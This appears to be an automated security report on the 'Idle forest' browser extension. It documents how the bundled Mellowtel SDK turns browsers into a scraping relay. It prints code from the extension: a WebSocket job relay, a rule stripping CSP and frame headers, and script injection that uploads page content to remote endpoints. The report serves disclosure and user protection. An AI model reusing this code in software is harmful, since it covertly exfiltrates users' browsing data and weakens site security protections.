Is Idle forest - Plant trees for free! safe?
Idle Forest bundles the Mellowtel SDK, which loads pages in a hidden tab and sends their content to Mellowtel's servers.
The extension ships the third-party Mellowtel SDK as a content script on every page you visit. It opens a persistent connection to Mellowtel's servers and, on command, loads target web pages in a hidden background tab, converts the page content to text, and sends it back to Mellowtel's infrastructure. To make pages loadable this way, the extension also strips frame and cross-origin security headers from the responses it processes.
Who publishes itdnibnzbckr - 2 other listings from the same operator, none carrying a finding
dnibnzbckr - 2 other listings from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 70k+ users between them, none of them carrying a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Idle Forest bundles Mellowtel, turning your browser into a scrape relay
Code analysis shows Idle Forest ships the Mellowtel SDK on every page.
Once you opt in, it opens a WebSocket to Mellowtel's server, which can push scrape jobs to your tabs and receive the captured page content back.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
You open the extension popup and turn on its bandwidth-sharing ("planting") feature.
This opt-in is required before the Mellowtel SDK starts.
The extension opens a persistent WebSocket to Mellowtel's server and waits for remote scrape jobs it can run in your open tabs.
A job loads a target URL in an off-screen tab, captures the rendered page, and uploads it to Mellowtel.
WebSocket command channel and remote job relay
Content script bootstrap, reformatted
contents.d42e7fcf.jsd4tj7: [function(e, t, r) { let n; var i = e("@parcel/transformer-js/src/esmodule-helpers.js"); i.defineInteropFlag(r), i.export(r, "config", () => o); var a = e("mellowtel"), s = i.interopDefault(a); let o = { matches: ["<all_urls>"], all_frames: !0, run_at: "document_start" }, l = async () => { try { n = new s.default("8418f448"); let e = await n.initContentScript("tabs/pascoli.html"); console.log("Mellowtel initialized:", e) } catch (e) { console.error("Error initializing Mellowtel:", e) } }; l() }WebSocket connect and job relay, reformatted
static/background/index.jsfunction n1(e) { return v(this, null, function*() { if (n9) { M.log("[\uD83C\uDF10]: Retry attempt already in progress, not starting new connection"); return } ie && (clearTimeout(ie), ie = null); let t = Z(), r = yield J(); if (M.log("############################################################"), M.log(`[startConnectionWs]: Manifest version: ${t}`), M.log(`[startConnectionWs]: Is in service worker: ${r}`), r) { let r = yield e7(); if (M.log(`[\u{1F310}]: Effective connection type: ${r}`), !te.includes(r)) { M.log("[\uD83C\uDF10]: Not connecting to websocket to preserve bandwidth"); return } let n, i = yield B("device_disconnect_session", !0); if (M.log("[\uD83C\uDF10]: Discon.Sess =>", i), i) { M.log("[\uD83C\uDF10]: Device disconnect for session, not connecting to websocket"); return } if ("2" === t.toString() ? (M.log("[\uD83C\uDF10]: MV2 Getting webSocketConnected from DOM MODEL..."), n = null !== document.getElementById("webSocketConnected")) : (M.log("[\uD83C\uDF10]: MV3 Getting webSocketConnected from shared memory..."), n = n4), M.log(`[\u{1F310}]: webSocketConnected: ${n}`), !n) { if (yield nG.getIfRateLimitReached()) { M.log("[\uD83C\uDF10]: Rate limit, not connecting to websocket"); let { timestamp: t, count: r } = yield nG.getRateLimitData(), n = Date.now(), i = nG.calculateElapsedTime(n, t); M.log(`[\u{1F310}]: Time elapsed since last request: ${i}`), i > q && (M.log("[\uD83C\uDF10]: Time elapsed is greater than REFRESH_INTERVAL, resetting rate limit data"), yield S("mllwtl_rate_limit_reached", !1), n7 = 0, yield nG.resetRateLimitData(n, !1), n1(e)) } else { let r = yield I(), n = yield e3(); M.log(`[\u{1F310}]: Connection speed: ${n} Mbps`); let i = Y(); M.log(`[\u{1F310}]: Browser: ${i}`); let a = yield nV(), s = yield nz(); if (M.log(`[\u{1F310}]: Manifest version: ${t}`), M.log(`[\u{1F310}]: Extension identifier: ${r}`), M.log(`[\u{1F310}]: Is Pascoli enabled: ${a}`), M.log(`[\u{1F310}]: Is Burke enabled: ${s}`), !(yield nZ({ device_id: e, plugin_id: r, version: U, speed_download: n, platform: i, manifest_version: t.toString(), pascoli: a, burke: s }))) { M.log("[\uD83C\uDF10]: Websocket connection not approved by API"); return } M.log("[\uD83C\uDF10]: Websocket connection approved, establishing connection..."); let o = new c.default(`${n3}?device_id=${e}&version=${U}&plugin_id=${encodeURIComponent(r)}&speed_download=${n}&platform=${i}&manifest_version=${t}&pascoli=${a}&burke=${s}&ws_client=new_ws`); return o.onopen = function() { if (n7 = 0, "2" === t.toString()) { M.log("[\uD83C\uDF10]: MV2 Setting webSocketConnected in DOM MODEL..."); let e = document.createElement("input"); e.setAttribute("type", "hidden"), e.setAttribute("id", "webSocketConnected"), e.setAttribute("value", "true"), document.body.appendChild(e) } else M.log("[\uD83C\uDF10]: MV3 Setting webSocketConnected in shared memory..."), n4 = !0; M.log(`[\u{1F310}]: connected with device_id= ${e} and version= ${U}`) }, o.onclose = function() { return v(this, null, function*() { var r; "3" === t.toString() ? n4 = !1 : null == (r = document.getElementById("webSocketConnected")) || r.remove(); let n = yield B("device_disconnect_session", !0); if (M.log("[\uD83C\uDF10]: Discon.Sess =>", n), (yield nq()) && !n) { let t = n8[Math.min(n7, n8.length - 1)]; M.log(`[\u{1F310}]: Connection closed. Attempting reconnect in ${t/1e3} seconds...`), ie = setTimeout(() => v(this, null, function*() { n7++, yield n1(e) }), t) } }) }, o.onmessage = function(e) { return v(this, null, function*() { if (yield nq()) { if ((e = JSON.parse(e.data)).hasOwnProperty("type_event") && "heartbeat" === e.type_event) return; if (e.hasOwnProperty("type_event") && "disconnect_device" === e.type_event) { M.log("[\uD83C\uDF10]: Device disconnected, closing connection..."), yield S("device_disconnect_session", !0), o.close(); return } if (e.hasOwnProperty("type_event") && "refresh_cereal" === e.type_event) { M.log("[\uD83C\uDF10]: Refreshing cereal frame..."), yield tD(); return } let t = !1; e.hasOwnProperty("method") && "POST" === e.method && (t = !0); let r = !1; e.hasOwnProperty("method") && "GET" === e.method && (r = !0); let n = !1, i = "", a = 4, s = 500; if (e.hasOwnProperty("type_event") && "batch" === e.type_event) { n = !0, i = e.batch_id; let t = "request"; e.hasOwnProperty("type_batch") && (t = e.type_batch), e.hasOwnProperty("parallel_executions_batch") && (a = Math.min(parseInt(e.parallel_executions_batch), "request" === t ? 4 : 10)), e.hasOwnProperty("delay_between_executions") && (s = parseInt(e.delay_between_executions)) } let { shouldContinue: l, isLastCount: c } = yield nG.checkRateLimit(); if (l || t || n || r) { !c || t || n || r || (M.log("[\uD83C\uDF10]: Last count reached, closing connection..."), yield S("mllwtl_rate_limit_reached", !0), o.close()), e.hasOwnProperty("recordID") && (yield tO(e)), M.log("[\uD83C\uDF10]: MV2/MV3 Sending message to a viable content script..."); let l = !1; chrome.tabs.query({}, t => v(this, null, function*() { for (let r of t) { if (l) { M.log("[\uD83C\uDF10]: Tab already replied, breaking..."); break } yield R(r.id, { intent: "preProcessCrawl", data: JSON.stringify(e), BATCH_execution: n, batch_id: i, parallelExecutionsBatch: a, delayBetweenExecutions: s }).then(e => { "success" === e && (M.log("[\uD83C\uDF10]: Tab replied success, setting tabReply to true..."), l = !0) }) } })) } else M.log("[\uD83C\uDF10]: Rate limit reached, closing connection..."), yield S("mllwtl_rate_limit_reached", !0), o.close() } }) }, o } } } else M.log("[\uD83C\uDF10]: MV2/MV3 Sending message to background to start websocket..."), yield P({ intent: "startWebsocket", identifier: e }) })}- Persistent device IDmllwtl_1a9f3c7e-52b1-4dd0-9e88-6a410cd8f3aa
A unique identifier for your install. Mellowtel uses it to authorize the WebSocket session and tie scrape jobs back to your device.
- Page content as Markdown# Example Retailer Account (illustrative) Welcome back, ... [View orders](https://example.com/orders)
The full page a job targeted, serialized to HTML and converted to Markdown, is uploaded as the scrape result.
- Target URL scrapedhttps://example.com/account/orders
The address a remote job told your browser to open and capture. It does not have to be a page you visited yourself.
- Batch job IDbatch_7f2e19
Groups multiple scrape jobs Mellowtel sent to your browser in one rate-limited burst.
Session-wide header stripping so the off-screen tab can load protected pages
Same rule, reformatted
contents.d42e7fcf.jsfunction et(e, t) { return new Promise(function(r) { if (t) r(!1); else { let n = eo(e); el().then(i => { i ? M({ intent: "disableXFrameHeaders", hostname: e, skipHeaders: t }).then(() => { r(!0) }) : (chrome.declarativeNetRequest.updateSessionRules({ removeRuleIds: [n], addRules: [{ id: n, priority: 1, action: { type: "modifyHeaders", responseHeaders: [{ header: "x-frame-options", operation: "remove" }, { header: "content-security-policy", operation: "remove" }, { header: "cross-origin-embedder-policy", operation: "remove" }, { header: "cross-origin-opener-policy", operation: "remove" }, { header: "cross-origin-resource-policy", operation: "remove" }, { header: "content-security-policy-report-only", operation: "remove" }] }, condition: { resourceTypes: ["sub_frame"], urlFilter: "*://*/*" } }] }), r(!0)) }) } })}- ws.mellow.tel
Mellowtel's control-plane WebSocket. Pushes remote scrape jobs to the extension and keeps a persistent session open.
- api.mellow.tel
Mellowtel's approval endpoint. Gates whether the WebSocket connection is allowed for this device/plugin ID.
- *.lambda-url.us-east-1.on.aws
AWS Lambda function URLs Mellowtel uses to ingest scraped page content (Markdown/HTML/PDF text) uploaded from your browser.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Mellowtel SDK loads server-chosen pages in frames with security headers removed
Code analysis shows the extension takes crawl jobs from ws.mellow.tel, loads those URLs in sub-frames with CSP and frame headers removed, and uploads the page content to remote endpoints.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
After opt-in and an approval check, ws.mellow.tel sends a crawl job with a URL.
Jobs carry recordID, url, htmlTransformer and save flags.
The extension loads the URL in a sub-frame and sends the captured page content to a server-supplied endpoint.
Where the extension connects and what it checks first
Constants (static/background/index.js)
const WS_URL = "wss://ws.mellow.tel";const APPROVAL_URL = "https://api.mellow.tel/approval";const RECONNECT_BACKOFF_MS = [30000, 60000, 300000, 600000, 1200000, 3600000];const APPROVAL_CACHE_MS = 1800000;Session rule that removes response protections on sub-frames
DNR session rule (static/background/index.js)
chrome.declarativeNetRequest.updateSessionRules({ removeRuleIds: [ruleId], addRules: [{ id: ruleId, priority: 1, action: { type: "modifyHeaders", responseHeaders: [ { header: "x-frame-options", operation: "remove" }, { header: "content-security-policy", operation: "remove" }, { header: "cross-origin-embedder-policy", operation: "remove" }, { header: "cross-origin-opener-policy", operation: "remove" }, { header: "cross-origin-resource-policy", operation: "remove" }, { header: "content-security-policy-report-only", operation: "remove" } ] }, condition: { resourceTypes: ["sub_frame"], urlFilter: "*://*/*" } }]});Content script injects a server-referenced script and posts results out
Injection
// on window message with burkeTrigger:const fileName = await storage.get("mllwtl_BurkeJSFileName");const s = document.createElement("script");s.src = chrome.runtime.getURL(fileName);s.setAttribute("burke-id", msg.recordID);s.setAttribute("api-endpoint", job.endpoint);document.head.appendChild(s);Upload
// POST result body to the endpoint supplied with the jobfetch(endpoint, { method: "POST", body: result });- Final URLhttps://example.com/account
The page the job ended on after redirects.
- Page HTML<html>...</html>
The loaded page's markup, as the job requests.
- Status code200
The HTTP status of the loaded page.
- Device node IDnode_8f2c1a7e
An identifier tying results to this installation.
- ws.mellow.tel
Mellowtel WebSocket that delivers crawl jobs.
- api.mellow.tel
Approval check before the WebSocket starts.
- *.lambda-url.us-east-1.on.aws
Job-specified endpoints that receive crawl results.
- speed.cloudflare.com
Bandwidth speed test of the device.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 2.0.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Store data in your browser
storage
Block and redirect the requests your browser makes
declarativeNetRequest
Where it sends data
Destinations our analysis observed Idle forest - Plant trees for free! contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- ws.mellow.tel
Idle forest - Plant trees for free! sends data to ws.mellow.tel. 20 other extensions we have analyzed send data here.
- Mellowtel (third-party SDK)
Idle forest - Plant trees for free! sends data to Mellowtel (third-party SDK). Named as a recipient by 1 other extensions we have analyzed.